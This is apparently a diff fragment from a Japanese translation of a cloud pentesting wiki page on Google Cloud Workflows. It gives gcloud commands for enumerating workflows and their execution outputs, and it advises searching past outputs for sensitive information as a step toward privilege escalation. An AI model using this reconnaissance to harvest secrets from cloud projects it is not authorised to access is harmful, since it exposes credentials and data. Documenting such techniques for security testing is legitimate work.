暗号化に関連して、デフォルトでは **Google 管理の暗号化キーが使用** されますが、顧客のキーを使用することも可能です。
## Enumeration
## 列挙
> [!CAUTION]
> You can also check the output of previous executions to look for sensitive information
> 前回の実行の出力を確認して、機密情報を探すこともできます。
```bash
# List Workflows
gcloud workflows list
@@ -28,15 +27,10 @@ gcloud workflows executions list workflow-1
# Get execution info and output
gcloud workflows executions describe projects/<proj-number>/locations/<location>/workflows/<workflow-name>/executions/<execution-id>
```
### Privesc and Post Exploitation
### プライスケとポストエクスプロイテーション
{{#ref}}
../gcp-privilege-escalation/gcp-workflows-privesc.md
{{#endref}}
{{#include ../../../banners/hacktricks-training.md}}